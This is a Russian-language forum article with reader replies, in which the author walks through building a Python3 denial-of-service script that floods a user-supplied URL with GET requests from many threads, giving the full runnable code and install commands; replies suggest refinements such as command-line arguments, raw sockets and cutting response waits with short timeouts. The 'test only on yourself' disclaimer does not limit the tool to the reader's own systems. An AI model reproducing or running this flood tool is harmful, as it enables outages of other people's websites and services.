Статья Пишем свой DOS скрипт на Python3

P

Pazsh

Well-known member
16.09.2018
85
41
Всем привет! Сегодня я вам покажу, как вы можете написать свой скрипт для DOS атак.
Конечно же слово атака здесь применяется в хорошем смысле. Тестируйте только на себе :)

Для начала разберемся что такое DOS и в чем различие от DDOS.

DoS (аббр. англ. Denial of Service «отказ в обслуживании») — хакерская атака на вычислительную систему с целью довести её до отказа

Если атака выполняется одновременно с большого числа компьютеров, говорят о DDoS-атаке (от Distributed Denial of Service, распределённая атака типа «отказ в обслуживании»). Такая атака проводится в том случае, если требуется вызвать отказ в обслуживании хорошо защищённой крупной компании или правительственной организации.

Думаю вы поняли. Если проще объяснить различие, то получится так: ddos - много атакующих и одна цель. dos - один атакующий и одна цель.

Цель этой статьи - написание скрипта для отсылки большого количества пакетов на удаленную машину с целью довести её до отказа.
Отказ произойдет на том моменте, когда пакетов будет слишком много и компьютер не будет успевать обрабатывать их и отсылать ответ.

Давайте сначала установим зависимости для нашего Python3. Их всего 3: colorama, requests, threading.
Команда, которой вы можете это всё установить под Linux:
Bash:
sudo apt update && sudo apt install python3-pip && pip3 install colorama && pip3 install threading && pip3 install requests
Объясню для чего нужна каждая зависимость.
colorama - библиотека, которая упростит работу с цветами в консоли. Можете обойтись без неё, использую спец. символы консоли, как в .sh скриптах, либо всё сделать одного цвета.
requests - библиотека, которая позволит отправлять post/get запросы на удаленный сервер.
threading - библиотека, которая обеспечит многопоточность программы. Многопоточность увеличит скорость.

Приступим к написанию.

Сначала импортируем наши библиотеки, которые мы установили несколько минут назад.
Python:
import colorama
import threading
import requests
Дальше напишем функцию, которая будет отправлять запросы и контролировать состояние цели:

Python:
def dos(target):
    while True:
        try:
            res = requests.get(target)
            print(colorama.Fore.YELLOW + "Request sent!" + colorama.Fore.WHITE)
        except requests.exceptions.ConnectionError:
            print(colorama.Fore.RED + "[+] " + colorama.Fore.LIGHTGREEN_EX + "Connection error!")
В этой функции мы входим в бесконечный цикл (кстати он нам не страшен, так как у нас много потоков и это всё работает постоянно.), так как завершать работу программы
мы будем сочетанием клавиш ctrl+c. Так же вы можете модифицировать функцию, например как только сервер начал не отвечать прекратить работу. Ну это дело вкуса. Всё в ваших руках.

Дальше приступим к главному коду.

Python:
threads = 20

url = input("URL: ")

try:
    threads = int(input("Threads: "))
except ValueError:
    exit("Threads count is incorrect!")

if threads == 0:
    exit("Threads count is incorrect!")

if not url.__contains__("http"):
    exit("URL doesnt contains http or https!")

if not url.__contains__("."):
    exit("Invalid domain")

for i in range(0, threads):
    thr = threading.Thread(target=dos, args=(url,))
    thr.start()
    print(str(i + 1) + " thread started!")
Теперь объясняю. Создаем переменную threads, в которой мы будем хранить количество потоков. Я по умолчанию на 20 поставил. (Это не очень много, чисто поставил для примера). Дальше объявили переменную url, в которую мы запишем домен цели.
Далее мы запрашиваем у пользователя количество потоков, которое он хотел бы использовать. Заметьте мы это делаем в блоке try, если это делать без него, то может выдать исключение, если при преобразовании строки в int попадётся текст.
Дальше мы так же проверяем количество потоков, если их 0, то программа не будет работать. (Ни один поток не запущен - не работает)
Мы проверяем точно ли это ссылка при помощи двух проверок:
  1. Проверка на содержание http/https
  2. Проверка на содержание точки. Если есть точка, то скорее всего после точки идет что-то еще. (Пример: " .com")
Дальше мы создаем в цикле потоки и запускаем их. Ну и так же информируем пользователя о запуске потока под номером i.
Вот собственно и всё.

Пишем свой DOS скрипт на Python3

Python:
import colorama
import threading
import requests


def dos(target):
    while True:
        try:
            res = requests.get(target)
            print(colorama.Fore.YELLOW + "Request sent!" + colorama.Fore.WHITE)
        except requests.exceptions.ConnectionError:
            print(colorama.Fore.RED + "[+] " + colorama.Fore.LIGHTGREEN_EX + "Connection error!")


threads = 20

url = input("URL: ")

try:
    threads = int(input("Threads: "))
except ValueError:
    exit("Threads count is incorrect!")

if threads == 0:
    exit("Threads count is incorrect!")

if not url.__contains__("http"):
    exit("URL doesnt contains http or https!")

if not url.__contains__("."):
    exit("Invalid domain")

for i in range(0, threads):
    thr = threading.Thread(target=dos, args=(url,))
    thr.start()
    print(str(i + 1) + " thread started!")



Не судите строго, моя первая статья. Лучше напишите, что не так, что понравилось и еще какую-нибудь критику. Всё прочитаю, всё исправлю!
Всем спасибо за внимание!
 
Caliot

Caliot

Member
21.05.2019
6
2
Можно добавить argv или click чтобы быстро запускать и добавить
Код:
#!/usr/bin/env python3
(примерно так ./*.py -t * --thread *) )
 
  • Нравится
Реакции: g00db0y и Pazsh
P

Pazsh

Well-known member
16.09.2018
85
41
Можно добавить argv или click чтобы быстро запускать и добавить
Код:
#!/usr/bin/env python3
(примерно так ./*.py -t * --thread *) )
Определено можно. Как я написал в статье:
Всё в ваших руках.
Я всего лишь привел пример моей реализации такого типа ПО. Читатели же могут переделать, модифицировать, как хотят, если считает это нужным.
 
  • Нравится
Реакции: Hose и Caliot
penguinz

penguinz

Member
30.04.2018
8
12
И сколько запросов выдает это чудо?
 
Kotik_Begimotik

Kotik_Begimotik

Active member
29.12.2018
36
4
И сколько запросов выдает это чудо?
Как понять сколько? В секунду? В час? Сутки? Десятилетие?

Да и вообще, я так понимаю что данный скрипт был написан в образовательных целях и производительности от него ждать не стоит.
 
  • Нравится
Реакции: Caliot
P

Pazsh

Well-known member
16.09.2018
85
41
И сколько запросов выдает это чудо?
Вопрос неправильно построен.
Начнем с того, что многое зависит от:
  1. Ваше интернет соединение. Скорость интернет соединения.
  2. Количество потоков.
  3. Время.
Вы можете поставить 1 поток и за несколько минут наберется определенное количество запросов.
А можете поставить 40 потоков и за несколько минут наберется в 40 раз больше.
 
  • Нравится
Реакции: Caliot
moeimya

moeimya

Active member
02.04.2017
36
7
а че не через сокет?

Определено можно. Как я написал в статье:

Я всего лишь привел пример моей реализации такого типа ПО. Читатели же могут переделать, модифицировать, как хотят, если считает это нужным.
как может читатель переделать если ты не объяснил что можно переделать и как? никакой инфы по работе реквеста-_-
 
Calibre

Calibre

Active member
22.04.2018
33
19
Стоит добавить:
1) объяснить, что такое библиотека реквест и зачем она;
2) измерить количество отправляемых пакетов в течении нескольких сек-минуты
3) и вообще хорошим тоном считается комментирование каждой строчки кода.
 
snovvcrash

snovvcrash

New member
17.09.2018
4
48
threading (равно как и multiprocessing) — дефолтные модули для питонов, их не нужно ставить через pip. И pip3 install <module1> && pip3 install <module2> && ... режет глаз, install’у можно подавать множественные аргументы как pip3 install <module1> <module2> .... Но это так, просто к слову)
 
  • Нравится
Реакции: Pazsh и Calibre
Calibre

Calibre

Active member
22.04.2018
33
19
Вам прямиком в Google
Люблю остряков (нет).
Я сам питонист и свои гуглы оставьте себе.
Человек спросил, что не так, что добавить к посту — именно ему это и адресовано.

А вам прямиком за книжку по манере и этике.
 
iBragimoff

iBragimoff

Well-known member
09.07.2019
73
12
Люблю остряков (нет).
Я сам питонист и свои гуглы оставьте себе.
Человек спросил, что не так, что добавить к посту — именно ему это и адресовано.

А вам прямиком за книжку по манере и этике.
Боюсь спросить, в каком месте вы заметили нарушение этикета?
 
P

Pazsh

Well-known member
16.09.2018
85
41
а че не через сокет?

как может читатель переделать если ты не объяснил что можно переделать и как? никакой инфы по работе реквеста-_-
Я сделал через реквест. Зачем мне объяснять как делать по другому, если так все работает.

1) объяснить, что такое библиотека реквест и зачем она;
Я вроде написал краткое описание к каждой зависимости. Также описал для чего мы ее будем использовать. Если нужна подробная информация, то для этого действительно лучше подойдёт Google & документация.

2) измерить количество отправляемых пакетов в течении нескольких сек-минуты
Эта информация для всех динамична. Как я писал сверху есть куча нюансов. Таких как скорость интернета, мощность атакующего, количество потоков.

3) и вообще хорошим тоном считается комментирование каждой строчки кода.
Обязательно учту. В этой статье я не посчитал это нужным, так как после всё объяснил. Но если нужно каждую строку объяснять для лучшего понятия - будет сделано.


pip3 install <module1> <module2> .... Но это так, просто к слову)
Я не знал, что можно записать в такой форме, спасибо, учту!
 
Jhon

Jhon

New member
06.08.2019
1
0
Вопрос от новичка.
Можно ли как то пропустить ожидание ответа от сервера?
Или же если мы оборвем выполнение реквеста то порвется tcp сессия и сервер не выполнит действий по формированию ответа.
Тут тоже вопрос зачем мы в переменную записываем респонс? Мы ведь по факту не используем его. Могу ошибаться в логике работы питона. На сколько ресурсоемка будет процедура присвоения в переменную а потом зачистка этой переменной. Надеюсь меня поправят и подскажут как правильно. Но после того как реквест сформирует объект респонс, лучше его никуда не присваивать и сразу отдать на зачистку из памяти нежели еще какоето время хранить в памяти. особенно если там респонс несколько мегабайт.
 
P

Pazsh

Well-known member
16.09.2018
85
41
Вопрос от новичка.
Можно ли как то пропустить ожидание ответа от сервера?
Или же если мы оборвем выполнение реквеста то порвется tcp сессия и сервер не выполнит действий по формированию ответа.

Тут тоже вопрос зачем мы в переменную записываем респонс? Мы ведь по факту не используем его. Могу ошибаться в логике работы питона. На сколько ресурсоемка будет процедура присвоения в переменную а потом зачистка этой переменной. Надеюсь меня поправят и подскажут как правильно. Но после того как реквест сформирует объект респонс, лучше его никуда не присваивать и сразу отдать на зачистку из памяти нежели еще какоето время хранить в памяти. особенно если там респонс несколько мегабайт.
Переменная res действительно не нужна. Я забыл ее убрать, во время написания кода. Думал через нее отслеживать доступен ли сервер, а по итогу обошёлся исключением.

Насчет пропуска ответа, думаю можно задать минимальный таймаут. Время выделенное на ответ выйдет, а запрос отправится.
 
Последнее редактирование:
Мы в соцсетях:  ТелеграмВконтактеДзенФейсбукТвиттерЮтуб